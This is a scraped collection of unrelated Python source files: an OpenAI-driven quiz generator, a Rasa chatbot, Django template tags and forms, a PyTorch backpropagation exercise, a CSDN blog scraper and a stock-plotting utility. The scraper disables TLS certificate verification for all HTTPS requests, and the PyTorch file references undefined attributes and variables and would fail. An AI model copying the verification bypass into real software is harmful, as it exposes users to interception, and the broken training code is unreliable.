level.capitalize() == \"B\":\n lv = \" basic\"\nelif level.capitalize() == \"I\":\n lv = \" intermediate\"\nelif level.capitalize() == \"A\":\n lv = \" advanced\"\nelse:\n lv = \" basic\"\n\nasks = 0\nquestions = input(\"How many questions do to be tested on? (1-5) \\n >\")\n\n\nfileName = \"./tests/test_\" + myName + \"_\" + ins + \"_\" + grade + \"_\" + sub + \"_\" + lv + \"_\" + str(ts) + \".txt\"\nstart = \"----Welcome \" + myName + \" to the AI Exam question generator!---- \\n\\n\"\nwith open(fileName, \"a\") as file:\n file.write(start)\n\ninfo = \"You are in a \" + ins + \" \\n\"\nprint(info)\nwith open(fileName, \"a\") as file:\n file.write(info)\n\ninfo = \"You are in the \" + grade + \" grade \\n\"\nprint(info)\nwith open(fileName, \"a\") as file:\n file.write(info)\n\ninfo = \"You have chosen the subject of \" + sub + \" \\n\"\nprint(info)\nwith open(fileName, \"a\") as file:\n file.write(info)\n\ninfo = \"You have chosen the \" + lv + \" level \\n\"\nprint(info)\nwith open(fileName, \"a\") as file:\n file.write(info)\n\ninfo = \"You have chosen to be tested on \" + questions + \" questions \\n\\n\"\nprint(info)\nwith open(fileName, \"a\") as file:\n file.write(info)\n\ninfo = \"--------------------Start Your Test Below-------------------- \\n\"\nprint(info)\nwith open(fileName, \"a\") as file:\n file.write(info)\n\nwhile asks < int(questions):\n asks += 1\n\n query = \"Generate a \" + lv + \" level \"+ grade + \" grade \" + sub + \" question for a \" + ins + \" student \"\n response = openai.Completion.create(\n prompt=str(query),\n model=\"text-davinci-003\",\n temperature=0.9,\n max_tokens=150,\n )\n data = json.loads(str(response)) # Parse the JSON object into a Python dictionary\n text = data[\"choices\"][0][\"text\"] # Get the text value from the dictionary\n text_question = \"Question:\" + str(asks) + text + \" \\n\"\n with open(fileName, \"a\") as file:\n file.write(text_question)\n\n # input(\"Press Enter to continue.\")\n\n query2 = \"in 50 words or less answer \" + text + \" as a \" + ins + \" student\"\n response2 = openai.Completion.create(\n prompt=str(query2),\n model=\"text-davinci-003\",\n temperature=0.9,\n max_tokens=50,\n )\n data2 = json.loads(str(response2)) # Parse the JSON object into a Python dictionary\n text2 = data2[\"choices\"][0][\"text\"] # Get the text value from the dictionary\n # print(\"answer prompt: \" + str(asks) + query2)\n # print(\"Answer \" + text2)\n tt3 = \"Question answer:\" + text2 + \" \\n\"\n with open(fileName, \"a\") as file:\n file.write(tt3)\n\n print (text)\n my_answer = input(\"Answer>\")\n tt4 = \"\\n Students answer:\" + my_answer + \" \\n\"\n with open(fileName, \"a\") as file:\n file.write(tt4)\n\n \n query3 = \"in 50 words or less compare \" + my_answer + \" with \" + text2 + \" if the first answer is correct reply with 'your answer is correct' if the first answer is incorrect reply with 'your answer is incorrect' and explain why\"\n response3 = openai.Completion.create(\n prompt=str(query3),\n model=\"text-davinci-003\",\n temperature=0.9,\n max_tokens=150,\n )\n data3 = json.loads(str(response3)) # Parse the JSON object into a Python dictionary\n text3 = data3[\"choices\"][0][\"text\"] # Get the text value from the dictionary\n tt4 = \"About Your Question :\" + text3 + \" \\n\"\n with open(fileName, \"a\") as file:\n file.write(tt4)\n\n\n cut = \"------------------------------------------------------ \\n\\n\"\n with open(fileName, \"a\") as file:\n file.write(cut)\n\n rem = int(questions) - asks\n print(\"\\n You have \" + str(rem) + \" questions left\")\n\nprint(\"\\n\\n -----Thank you for using this program!-----\")\n\n\ntt4 = \"-----Thank you for using this program!-----\"\nwith open(fileName, \"a\") as file:\n file.write(tt4)\n\nopen(fileName, \"a\").close()","repo_name":"msx-drogfy/tests","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5663,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40135433740","text":"import json\nimport os\nimport sys\n\nfrom rasa_core.agent import Agent\nfrom rasa_core.interpreter import RasaNLUInterpreter\n\nfrom app.output_channel import OutputChannel\nfrom app.api.skype import SkypeAPI\nCWD = os.path.dirname(os.path.realpath(__file__))\nsys.path.append('/'.join(i for i in CWD.split('/')[:-1]))\n\nRASA_NLU_MODEL_PATH = CWD + os.environ.get('RASA_NLU_MODEL_PATH')\nRASA_NLU_MODEL_NAME = os.environ.get('RASA_NLU_MODEL_NAME')\nRASA_CORE_MODEL_PATH = CWD + os.environ.get('RASA_CORE_MODEL_PATH')\nQA_JSON = os.environ.get('QA_JSON')\n\nclass Bot():\n \"\"\"\n Bot class to Process Data\n \"\"\"\n\n def __init__(self):\n self.agent = Agent.load(\n RASA_CORE_MODEL_PATH,\n interpreter=RasaNLUInterpreter(RASA_NLU_MODEL_PATH + RASA_NLU_MODEL_NAME))\n self.data = None\n self.channel = None\n\n with open(QA_JSON, 'r') as handle:\n self.question_answer = json.load(handle)\n\n def on_post(self, req, resp):\n \"\"\"\n pass the data(user message) to RASA for\n processing and send the result as a message via Skype API\n \"\"\"\n try:\n reply = SkypeAPI()\n self.data = req.context['request']\n if self.data['user'] is not None:\n self.user_id = self.data['from']['id'][3:]\n self.channel = self.data['channelId']\n self.agent.handle_message(self.data['text'], None, OutputChannel(self.data))\n except Exception as e:\n print(\"Exception in bot- \", e)\n","repo_name":"ajyadav013/rasa_msbot_boilerplate","sub_path":"app/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42183562146","text":"import re\n\nfrom django.contrib.staticfiles.templatetags.staticfiles import static\nfrom django.apps import apps\n\n\nfrom django.utils.safestring import mark_safe\nfrom django_jinja import library\n\n\nfrom common import thread_locals\n\nimport jinja2\n\n@library.global_function\ndef vt_static(path, **kwargs):\n return static(path, **kwargs)\n\n\n@library.global_function\ndef vt_scripts():\n return mark_safe('\\n'.join(thread_locals.get_thread_var('_vt_scripts', {}).values()))\n\n\n@library.global_function\ndef vt_thumb_margin(image, geometry):\n from sorl.thumbnail.templatetags import thumbnail\n return thumbnail.margin(image, geometry)\n\n\n@library.global_function\ndef vt_thumb(*args, **kwargs):\n from sorl.thumbnail import get_thumbnail\n return get_thumbnail(*args, **kwargs)\n\n\n@jinja2.contextfunction\n@library.global_function\ndef vt_tree(context, *args, **kwargs):\n request = context['request']\n\n url = re.sub(r'/+', '/', '/%s/' % request.path_info.strip('/'), re.IGNORECASE)\n query = kwargs.get('query', {})\n model = apps.get_model(kwargs['model'])\n\n queryset = model.objects.filter(**query)\n\n item = None\n\n max_level = kwargs.get('max_level', 1000)\n min_level = kwargs.get('min_level', 0)\n\n cats = {}\n\n if kwargs.get('pk'):\n item = queryset.get(pk=args[0])\n elif kwargs.get('slug'):\n item = queryset.get(slug=args[0])\n\n items = list(item.descendants_get()) if item else list(queryset)\n\n if len(items):\n active_item = None\n prev_item = None\n item_map = {}\n\n for item in items:\n if item.level > max_level:\n continue\n if prev_item and prev_item.level < item.level:\n prev_item.open = True\n\n if prev_item and prev_item.level > item.level:\n prev_item.close = prev_item.level - item.level\n else:\n item.close = 0\n\n prev_item = item\n item_map[str(item.pk)] = item\n\n if cmp(url, item):\n cats[args[0]] = item\n active_item = item\n item.active = True\n item.current = True\n\n item.close = item.level - items[0].level\n if active_item:\n for item_pk in active_item.path.split(','):\n if item_pk in item_map:\n item_map[item_pk].active = True\n\n #\n # if len(args):\n # try:\n # item = cls.objects.get(pk=args[0])\n # except BaseException, e:\n # item = cls.objects.get(name=args[0])\n #\n # items = list(item.descendants_get(**qkwargs))\n # else:\n # items = list(cls.objects.filter(**qkwargs))\n #\n\n\n\n\n\n\n\n\n # # qkwargs = kwargs.get('qkwargs', {})\n # df = {'level__lte': max_level, 'level__gte': min_level}\n # df.update(qkwargs)\n #\n # cls = kwargs['cls']\n # # cats = get_thread_var(VEST_CURRENT_TREE, {})\n # cats = {}\n # if isinstance(cls, basestring):\n # cls = model_class_get(cls)\n #\n # try:\n # if len(args):\n # try:\n # item = cls.objects.get(pk=args[0])\n # except BaseException, e:\n # item = cls.objects.get(name=args[0])\n #\n # items = list(item.descendants_get(**qkwargs))\n # else:\n # items = list(cls.objects.filter(**qkwargs))\n # except cls.DoesNotExist:\n # return ''\n #\n # if 'cmp' in kwargs:\n # cmp = kwargs['cmp']\n # else:\n # def cmp(op1, item):\n # if hasattr(item, 'url_get'):\n # return op1 == item.url_get() or op1 == '%s/' % item.url_get()\n # return op1 == item.url or op1 == '%s/' % item.url\n #\n # if len(items):\n # active_item = None\n # prev_item = None\n # item_map = {}\n # for item in items:\n # if item.level > max_level:\n # continue\n # if prev_item and prev_item.level < item.level:\n # prev_item.open = True\n #\n # if prev_item and prev_item.level > item.level:\n # prev_item.close = prev_item.level - item.level\n # else:\n # item.close = 0\n #\n # prev_item = item\n # item_map[str(item.pk)] = item\n #\n # if cmp(url, item):\n # cats[args[0]] = item\n # active_item = item\n # item.active = True\n # item.current = True\n #\n # item.close = item.level - items[0].level\n # if active_item:\n # for item_pk in active_item.path.split(','):\n # if item_pk in item_map:\n # item_map[item_pk].active = True\n #\n # # set_thread_var(VEST_CURRENT_TREE, cats)\n #\n # return render_to_string(template_name, {\n # 'items': items,\n # 'curr_url': url,\n # 'request': request,\n # 'args': args,\n # 'kwargs': kwargs\n # })\n #\n\n\n@library.filter\n@library.global_function\ndef vt_iif(expr, result_true, result_false=''):\n return result_true if expr else result_false\n\n@library.filter\ndef vt_verbose_name(object, is_plural=False):\n model = type(object)\n return model._meta.verbose_name_plural.title() if is_plural else model._meta.verbose_name.title()","repo_name":"vaad2/vest2","sub_path":"common/templatetags/tags_common.py","file_name":"tags_common.py","file_ext":"py","file_size_in_byte":5261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34760081999","text":"#coding https://mattmazur.com/2015/03/17/a-step-by-step-backpropagation-example/ with pytorch, checking with iterative version at https://github.com/animesh/ann/blob/master/ann/Program.cs with following output\n#Iteration = 1 Error = 0.298371108760003 Outputs = 0.751365069552316 0.772928465321463\n#Iteration = 2 Error = 0.291027773693599 Outputs = 0.742088111190782 0.775284968294459 ...\n#https://youtu.be/FHdlXe1bSe4?t=319\ninput=[0.05,0.10]\ninpw=[[0.15,0.20],[0.25,0.3]]\nhidw=[[0.4,0.45],[0.5,0.55]]\noutput=[0.01,0.99]\nbias=[0.35,0.6]\nlr=0.5\n#mamba create -n torch -c nvidia -c pytorch -c conda-forge pytorch torchvision torchaudio cudatoolkit=11.6\nimport torch\nprint(\"PyTorch \",torch.__version__)\nfrom datetime import datetime\nstartTime = datetime.now()\nprint(\"Start time:\", startTime)\nif torch.cuda.is_available():\n print(torch.cuda.get_device_name(torch.cuda.current_device()))\n print('Allocated:', round(torch.cuda.memory_allocated(0)/1024**3,1), 'GB')\n print('Cached: ', round(torch.cuda.memory_reserved(0)/1024**3,1), 'GB')\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.optim import SGD\nclass mANN(nn.Module):\n def __init__(self):\n super().__init__()\n self.iw00 = nn.Parameter(torch.tensor(inpw[0][0]), requires_grad=True)\n self.iw01 = nn.Parameter(torch.tensor(inpw[0][1]), requires_grad=True)\n self.iw10 = nn.Parameter(torch.tensor(inpw[1][0]), requires_grad=True)\n self.iw11 = nn.Parameter(torch.tensor(inpw[1][1]), requires_grad=True)\n self.bi0 = nn.Parameter(torch.tensor(bias[0]), requires_grad=True)\n self.hw00 = nn.Parameter(torch.tensor(hidw[0][0]), requires_grad=True)\n self.hw01 = nn.Parameter(torch.tensor(hidw[0][1]), requires_grad=True)\n self.hw10 = nn.Parameter(torch.tensor(hidw[1][0]), requires_grad=True)\n self.hw11 = nn.Parameter(torch.tensor(hidw[1][1]), requires_grad=True)\n self.bi1 = nn.Parameter(torch.tensor(bias[1]), requires_grad=True)\n def forward(self, input):\n input_to_top_relu = input * self.iw00 + self.bi0\n top_relu_output = F.relu(input_to_top_relu)\n scaled_top_relu_output = top_relu_output * self.iw01\n input_to_bottom_relu = input * self.iw10 + self.bi0\n bottom_relu_output = F.relu(input_to_bottom_relu)\n scaled_bottom_relu_output = bottom_relu_output * self.iw11\n input_to_final_relu = scaled_top_relu_output + scaled_bottom_relu_output + self.bi1\n output = F.relu(input_to_final_relu)\n return output\nmodel = mANN()\noutput_values = model(input)\ninputs = torch.tensor(input)\nlabels = torch.tensor(output)\n\noptimizer = SGD(model.parameters(), lr=lr)\nprint(\"Final bias, before optimization: \" + str(model.final_bias.data) + \"\\n\")\nfor epoch in range(2):\n total_loss = 0\n for iteration in range(len(inputs)):\n input_i = inputs[iteration]\n label_i = labels[iteration]\n output_i = model(input_i)\n loss = (output_i - label_i)**2\n loss.backward()\n total_loss += float(loss)\n if (total_loss < 0.0001):\n print(\"Num steps: \" + str(epoch))\n break\n optimizer.step()\n optimizer.zero_grad()\n print(\"Step: \" + str(epoch) + \" Final Bias: \" + str(model.final_bias.data) + \"\\n\")\nprint(\"Total loss: \" + str(total_loss))\nprint(\"Final bias, after optimization: \" + str(model.final_bias.data))\niter=0\nwhile iter<0:\n iter+=1\n h = torch.sigmoid(x.matmul(w1.transpose(0,1))+b[0])\n y_pred = torch.sigmoid(h.matmul(w2.transpose(0,1))+b[1])\n print(\"iteration:\",iter,\"MSE: \",0.5*(((y_pred - y).pow(2)).sum()))\n grad=(y_pred - y)*(1-y_pred)*y_pred # numerically unstable?\n w1-=lr*w2.matmul(grad.reshape(-1, 1))*h*(1-h).reshape(-1, 1).matmul(x) # though it seems like descent is faster if first layer done in end? #FILO\n print(w1)\n #w2-=lr*np.outer(grad,h)\n print(w2)\nprint(\"Time taken:\", datetime.now() - startTime)\n","repo_name":"animesh/scripts","sub_path":"ann_torch.py","file_name":"ann_torch.py","file_ext":"py","file_size_in_byte":3934,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"11935329776","text":"from django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django import forms\nfrom .models import Photo, Answers, Profile, Question, Category, MyUser, Content\nfrom haystack.forms import SearchForm\n\nclass CreateUserForm(UserCreationForm):\n email = forms.EmailField(required=True)\n\n class Meta:\n model = MyUser\n fields = (\"first_name\",\"last_name\",\"username\", \"email\", \"password1\", \"password2\")\n\n def save(self, commit=True):\n user = super(CreateUserForm, self).save(commit=False)\n user.email = self.cleaned_data[\"email\"]\n if commit:\n user.save()\n return user\n\nclass QuestionForm(forms.ModelForm):\n class Meta:\n model=Question\n fields={'question_text','question_specific','question_tags'}\n\nclass UploadForm(forms.ModelForm):\n\n class Meta:\n model=Answers\n fields={'answerimage', 'question'}\n\nclass ProfileForm(forms.ModelForm):\n class Meta:\n model=Profile\n fields=(\"nickname\",\"comment\",\"profile_photo\")\n\nclass CategoryForm(forms.ModelForm):\n class Meta:\n model=Category\n fields=(\"category_name\",)\n\nclass ContentForm(forms.ModelForm):\n class Meta:\n model=Content\n fields=('owner', 'content', )\n\n\nclass DateRangeSearchForm(SearchForm):\n startdate=forms.DateTimeField(required=False)\n enddate=forms.DateTimeField(required=False)\n\n def search(self):\n sqs=super(DateRangeSearchForm, self).search()\n\n if not self.is_valid():\n return self.no_query_found()\n\n if self.cleaned_data['startdate']:\n return sqs.filter(pub_data__gte=self.cleaned_data['startdate'])\n\n if self.cleaned_data['enddate']:\n return sqs.filter(pub_data__lte=self.cleaned_data['enddate'])\n\n return sqs\n\nclass FriendSearchForm(forms.Form):\n search=forms.CharField(max_length=50, required=True)\n\n\n","repo_name":"WangHyungJun/buddi_back","sub_path":"cebula/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24049650629","text":"# ------------------------------------------------------------\n# 3.26前的主要参考代码\n# ------------------------------------------------------------\n# import requests\n# import bs4\n# from bs4 import BeautifulSoup\n# from time import sleep\n# import os\n# import pandas as pd\n#\n# # 获取所有页面url地址并储存于列表url_list中\n# def url_all():\n# for page in range(1, 2):\n# url='http://blog.csdn.net/?ref=toolbar_logo&page='+str(page)\n# url_list.append(url)\n#\n# # 获取页面包含的所有博客地址\n# def essay_url():\n# blog_urls = []\n# for url in url_list:\n# html = requests.get(url, headers=headers)\n# # text 则是根据设置的encoding来解码,编码是通过chardet.detect来获取的(既使用apparent_encoding)\n# # html.encoding = html.apparent_encoding\n# # html.encoding = ('utf-8','ignore')\n# html.encoding = ('utf_8','ignore')\n# # 使用python标准库解释器'html.parser'来解析html.text\n# soup = BeautifulSoup(html.text, 'html.parser')\n# for h2 in soup.find_all('h2'):\n# blog_url = (h2('a')[0]['href'])\n# blog_urls.append(blog_url)\n# return blog_urls\n#\n# # 设置爬取数据保存路径\n# def save_path():\n# s_path='./'\n# if not os.path.isdir(s_path):\n# os.mkdir(s_path)\n# else:\n# pass\n# return s_path\n#\n#\n# # 找到并保存所有文章标题,内容\n# def save_essay(blog_urls, s_path):\n# for blog_url in blog_urls:\n# blog_html = requests.get(blog_url, headers=headers)\n# blog_html.encoding = blog_html.apparent_encoding\n# soup = BeautifulSoup(blog_html.text, 'html.parser')\n# try:\n# # for title in soup.find('h2',{'class':'title-article'}):\n# for title in soup.find('h2'):\n# if isinstance(title, str):\n# print('-----文章标题-----:', title)\n# print('-----文章链接-----:', title.link)\n# blogname = title\n# blogname = blogname.replace(\"\\n\", '')\n# blogname = blogname.replace(\"\\r\", '')\n# blogname = blogname.replace(\" \", '')\n# list(blogname)\n# print(\"收集标题\")\n# blognames.append(blogname)\n#\n# for read in soup.find('',{'class':'read-count'}):\n# if isinstance(read, str):\n# print(read)\n# readnum = read\n# readnum = readnum.replace(\"阅读数:\", '')\n# list(readnum) # readnum是string,要修改格式为列表便于储存\n# print(\"收集阅读数\")\n# readnums.append(readnum)\n#\n# except BaseException as b:\n# print(b)\n# print('-------------------所有页面遍历完成')\n# return soup\n#\n# url_list = []\n# blogs = []\n# blognames = []\n# readnums = []\n# print(\"执行StudyTest\")\n# headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'}\n# print(\"获取所有页面的url地址并储存于列表url_list中:\")\n# url_all()\n# print(\"获取页面包含的所有博客的地址\")\n# essay_url()\n# print(\"输出所有爬取页面的URL\")\n# print(url_list)\n# print(\"输出爬取页面包含的博客URL\")\n# print(essay_url())\n# print(\"设置爬取数据的保存路径\")\n# save_path()\n# print(\"保存爬取标题及阅读数至列表\")\n# save_essay(essay_url(), save_path())\n# print(\"标题和阅读数存入EXCEl表格\")\n# blogs.append((blognames,readnums))\n# df = pd.DataFrame(blogs)\n# df.columns = ['title','num']\n# print(df)\n# df.to_csv('record.csv', encoding=('gbk'), index=False)\n# # df.to_csv('record.csv', index=False)\n\n\n# # ------------------------------------------------------------\n# # 3.26后主要参考代码\n# # ------------------------------------------------------------\n# import ssl\n#\n# from bs4 import BeautifulSoup\n# from urllib import request\n# import chardet\n#\n# ssl._create_default_https_context = ssl._create_unverified_context\n# url = \"https://www.csdn.net/?ref=toolbar_logo&page=1\"\n# response = request.urlopen(url)\n# html = response.read()\n# charset = chardet.detect(html)\n# # 报错UnicodeDecodeError: 'charmap' codec can't decode byte 0x8e in position 80: character maps to \n# # 该异常表示python3代码对于一些字符的识别报错\n# # 尝试更改html网页编码方式为utf-8,无报错\n# html = html.decode(str(charset[\"encoding\"])) # 设置抓取到的html的编码方式\n# # html =html.decode('utf-8')\n#\n# # 使用剖析器为html.parser\n# soup = BeautifulSoup(html, 'html.parser')\n# # 获取到每一个class=list_con的a节点\n# allList = soup.select('.list_con')\n# #遍历列表,获取有效信息\n# print(\"网页链接为:\", url)\n# for news in allList:\n# number = news.select('.num')\n# author = news.select('.name')\n# eassy_title = news.select('a')\n# # 只选择长度大于0的结果\n# print(\"eassy tiele:\",eassy_title)\n# if len(eassy_title) > 0:\n# # 文章链接\n# try:#如果抛出异常就代表为空\n# href = eassy_title[0]['href']\n# # href = url + aaa[0]['href']\n# except Exception:\n# href=''\n# # 博客标题\n# try:\n# # title = aaa[0]['title']\n# title = eassy_title[0].text\n# except Exception:\n# title = \"标题为空\"\n# # 博客阅读数\n# try:\n# readnum = number[0].text\n# except Exception:\n# readnum = \"未知阅读数\"\n# # 博客作者\n# try:\n# who = author[0].text\n# except Exception:\n# who = \"无名氏\"\n# print(\"标题\", title, \"\\nurl:\", href, \"\\n阅读量:\", readnum, \"\\n作者:\", who)\n# print(\"==============================================================================================\")\n\n\n# ------------------------------------------------------------\n# 探究如何把数据存入表格\n# ------------------------------------------------------------\n# @Time 创建时间 : 2019-03-29 11:00\n# @Log 代码说明:如何把网站爬取的数据存到csv表格中\n#\n# # **************************方法一***************************\n# # @Log 代码说明:这段代码可以把数据存储到csv表格,但是出现乱码,如果删掉print里的中文则无乱码\n# year = 1\n# years = 5\n# bj = 10000\n# rate = 0.05\n#\n# f = open(\"interest.csv\", 'w+')\n# while year < years:\n# bj = bj * (1 + rate)\n# print(\"��间{0},本息总和{1}\".format(year, bj), file=f)\n# year += 1\n\n# # **************************方法二***************************\n# # @Reference 参考 : https://zhuanlan.zhihu.com/p/33085521\n# # @Log 代码说明 : 这段代码就是垃圾,没有定义set_style,没法运行\n# import xlwt # 载入xlwt数据库\n#\n# f = xlwt.Workbook() # 创建工作簿\n# sheet1 = f.add_sheet(u'sheet1',cell_overwrite_ok=True) # 创建sheet\n# row0 = [u'业务',u'状态',u'北京',u'上海',u'广州',u'深圳',u'状态小计',u'合计']\n# column0 = [u'机票',u'船票',u'火车票',u'汽车票',u'其它']\n# status = [u'预订',u'出票',u'退票',u'业务小计']\n#\n# # 生成第一行\n# for i in range(0,len(row0)):\n# sheet1.write(0,i,row0[i],set_style('Times New Roman',220,True))\n#\n# # 生成第一列和最后一列(合并4行)\n# i, j = 1, 0\n# while i < 4*len(column0) and j < len(column0):\n# sheet1.write_merge(i,i+3,0,0,column0[j],set_style('Arial',220,True)) # 第一列\n# sheet1.write_merge(i,i+3,7,7) # 最后一列\"合计\"\n# i += 4\n# j += 1\n#\n# sheet1.write_merge(21,21,0,1,u'合计',set_style('Times New Roman',220,True))\n#\n# # 生成第二列\n# i = 0\n# while i < 4*len(column0):\n# for j in range(0,len(status)):\n# sheet1.write(j+i+1,1,status[j])\n# i += 4\n#\n# f.save('demo1.xlsx') # 保存文件\n\n# # **************************方法三***************************\n# # @Reference 参考 : https://zhuanlan.zhihu.com/p/33085521\n# # @Log 代码说明 : 这段代码可以运行通过,结果也正确\n# from bs4 import BeautifulSoup # 导入BeautifulSoup模块。注意大小写\n# import pandas as pd\n#\n# soup = BeautifulSoup(open('DATA.xml', 'rb'), 'xml', from_encoding='utf-8') # 按照utf-8编码制度读取xml类型的文件\n#\n# X = []\n# Z = []\n# for i in soup.find_all('X'): # 循环遍历所有标签为X的数据\n# X.append(i.string) # 将标签数据的string/comment写入到X这个列表中\n# for j in soup.find_all('Z'):\n# Z.append(j.string)\n#\n# # 将列表a,b转换成字典后,把结果转换成DataFrame并保存到Excel中\n# c={\"X\" : X,\n# \"Z\" : Z} # 转换为字典\n# df = pd.DataFrame(c)\n# df.to_excel('DATA.xlsx')\n\n# # ------------------------------------------------------------\n# # 3.26后参考代码修改版,符合我的要求\n# # ------------------------------------------------------------\n# import ssl\n# from bs4 import BeautifulSoup\n# from urllib import request\n# import chardet\n# import xlwt\n# import pandas as pd\n#\n# ssl._create_default_https_context = ssl._create_unverified_context\n#\n# X = [] # X储存所有链接\n# Y = [] # Y储存所有标题\n# Z = [] # Z储存所有阅读数\n# A = [] # A储存所有作者\n#\n# #\n# for page in range(1, 3):\n# url = \"https://www.csdn.net/?ref=toolbar_logo&page=\" + str(page)\n# print(\"遍历第\",page,\"页\\n\")\n# response = request.urlopen(url)\n# html = response.read()\n# charset = chardet.detect(html)\n# # 报错UnicodeDecodeError: 'charmap' codec can't decode byte 0x8e in position 80: character maps to \n# # 该异常表示python3代码对于一些字符的识别报错\n# # 尝试更改html网页编码方式为utf-8,无报错\n# html = html.decode(str(charset[\"encoding\"])) # 设置抓取到的html的编码方式\n# # html =html.decode('utf-8')\n#\n# # BeatifulSoup是从html或xml文档中提取数据的库,这里选择解析器html.parser\n# # 解析的数据保存至soup\n# soup = BeautifulSoup(html, 'html.parser')\n# # 获取到每一个class=list_con的a节点\n# allList = soup.select('.list_con')\n# #遍历列表,获取有效信息\n# # print(\"网页链接为:\", url)\n# print(\"网页链接为:\", url)\n# for news in allList:\n# number = news.select('.num')\n# author = news.select('.name')\n# eassy_title = news.select('a')\n# # 只选择长度大于0的结果\n# # print(\"从a节点获取的信息:\\n\",eassy_title)\n# if len(eassy_title) > 0:\n# # 文章链接\n# try:#如果抛出异常就代表为空\n# href = eassy_title[0]['href']\n# # href = url + aaa[0]['href']\n# X.append(href)\n# except Exception:\n# href='链接为空'\n# # 博客标题\n# try:\n# # title = aaa[0]['title']\n# title = eassy_title[0].text\n# Y.append(title)\n# except Exception:\n# title = \"标题为空\"\n# # 博客阅读数\n# try:\n# readnum = number[0].text\n# Z.append(readnum)\n# except Exception:\n# readnum = \"未知阅读数\"\n# # 博客作者\n# try:\n# who = author[0].text\n# A.append(who)\n# except Exception:\n# who = \"无名氏\"\n# print(\"标��\", title, \"\\nurl:\", href, \"\\n阅读量:\", readnum, \"\\n作者:\", who)\n#\n# print(\"储存数据至表格.......\")\n# Table = {\"Title\":Y,\"ReadNumber\":Z,\"Author\":A,\"URL\":X}\n# df = pd.DataFrame(Table)\n# df.to_csv('Table.csv',encoding='gbk')\n# print(\"==============================================================================================\")\n\n# # ------------------------------------------------------------\n# # 3.26后参考代码修改版优化,将各功能模块化\n# # ------------------------------------------------------------\nimport ssl\nfrom bs4 import BeautifulSoup\nfrom urllib import request\nimport chardet\nimport xlwt\nimport pandas as pd\n\nssl._create_default_https_context = ssl._create_unverified_context\n# 遍历csdn的所有页面\ndef url_all():\n for page in range(1,3):\n url = \"https://www.csdn.net/?toolbar_logo&page=\"+str(page)\n print(\"将第\"+str(page)+\"页加入列表url_list\")\n url_list.append(url)\n\ndef Trans_code(blog_url):\n response = request.urlopen(blog_url)\n html = response.read()\n # 进行编码转换与解码,利用模块chardet可以方便检测网页编码\n charset = chardet.detect(html)\n # 将网页编码转换为str,再进行解码\n html = html.decode(str(charset[\"encoding\"]))\n return html\n\ndef Get_data(html):\n soup = BeautifulSoup(html, 'html.parser')\n # 获取到每一个class=list_con的a节点\n allList = soup.select('.list_con')\n # 遍历列表,获取有效信息\n # print(\"网页链接为:\", url)\n print(\"网页链接为:\", blog_url)\n for news in allList:\n number = news.select('.num')\n author = news.select('.name')\n eassy_title = news.select('a')\n # 只选择长度大于0的结果\n # print(\"从a节点获取的信息:\\n\",eassy_title)\n if len(eassy_title) > 0:\n # 文章链接\n try: # 如果抛出异常就代表为空\n href = eassy_title[0]['href']\n # href = url + aaa[0]['href']\n X.append(href)\n except Exception:\n href = '链接为空'\n # 博客标题\n try:\n # title = aaa[0]['title']\n title = eassy_title[0].text\n Y.append(title)\n except Exception:\n title = \"标题为空\"\n # 博客阅读数\n try:\n readnum = number[0].text\n Z.append(readnum)\n except Exception:\n readnum = \"未知阅读数\"\n # 博客作者\n try:\n who = author[0].text\n A.append(who)\n except Exception:\n who = \"无名氏\"\n print(\"标题\", title, \"\\nurl:\", href, \"\\n阅读量:\", readnum, \"\\n作者:\", who)\n\ndef Save_data(X,Y,Z,A):\n print(\"储存数据至表格.......\")\n Table = {\"Title\": Y, \"ReadNumber\": Z, \"Author\": A, \"URL\": X}\n df = pd.DataFrame(Table)\n df.to_csv('Table.csv', encoding='gbk')\n print(\"==============================================================================================\")\n\n# ---------------------------主程序--------------------------\nX = [] # X储存所有链接\nY = [] # Y储存所有标题\nZ = [] # Z储存所有阅读数\nA = [] # A储存所有作者\nurl_list = []\nurl_all()\nfor blog_url in url_list:\n\thtml = Trans_code(blog_url)\n\tGet_data(html)\nSave_data(X,Y,Z,A)","repo_name":"Roggu123/Algorithm","sub_path":"Practice/Data/CrawlingBlog/StudyTest.py","file_name":"StudyTest.py","file_ext":"py","file_size_in_byte":15174,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"29992845168","text":"import argparse\nfrom datetime import datetime, timedelta, time as Time\nimport random\nimport re\nimport sys\nfrom pytz import timezone\nimport iso8601\nimport matplotlib.pyplot as plt\nfrom holidays import US as holidaysUS\nfrom colorama import Fore, Style\nimport pandas.io.formats.format\nfrom pandas._config.config import get_option\nfrom pandas.plotting import register_matplotlib_converters\nfrom sentilab import feature_flags as ff\n\nregister_matplotlib_converters()\n\n\ndef check_non_negative(value):\n ivalue = int(value)\n \n if ivalue < 0:\n raise argparse.ArgumentTypeError(f\"{value} is negative\")\n \n return ivalue\n\n\ndef check_positive(value):\n ivalue = int(value)\n \n if ivalue <= 0:\n raise argparse.ArgumentTypeError(f\"{value} is an invalid positive int value\")\n \n return ivalue\n\n\ndef valid_date(s: str):\n try:\n return datetime.strptime(s, \"%Y-%m-%d\")\n except ValueError as value_error:\n raise argparse.ArgumentTypeError(\"Not a valid date: {s}\") from value_error\n\n\ndef plot_view_stock(df, symbol):\n \n df.sort_index(ascending=True, inplace=True)\n \n _, axVolume = plt.subplots()\n \n plt.bar(df.index, df.iloc[:, -1], color=\"k\", alpha=0.8, width=0.3)\n plt.ylabel(\"Volume\")\n _ = axVolume.twinx()\n \n plt.plot(df.index, df.iloc[:, :-1])\n plt.title(symbol + \" (Time Series)\")\n plt.xlim(df.index[0], df.index[-1])\n plt.xlabel(\"Time\")\n plt.ylabel(\"Share Price ($)\")\n plt.legend(df.columns)\n 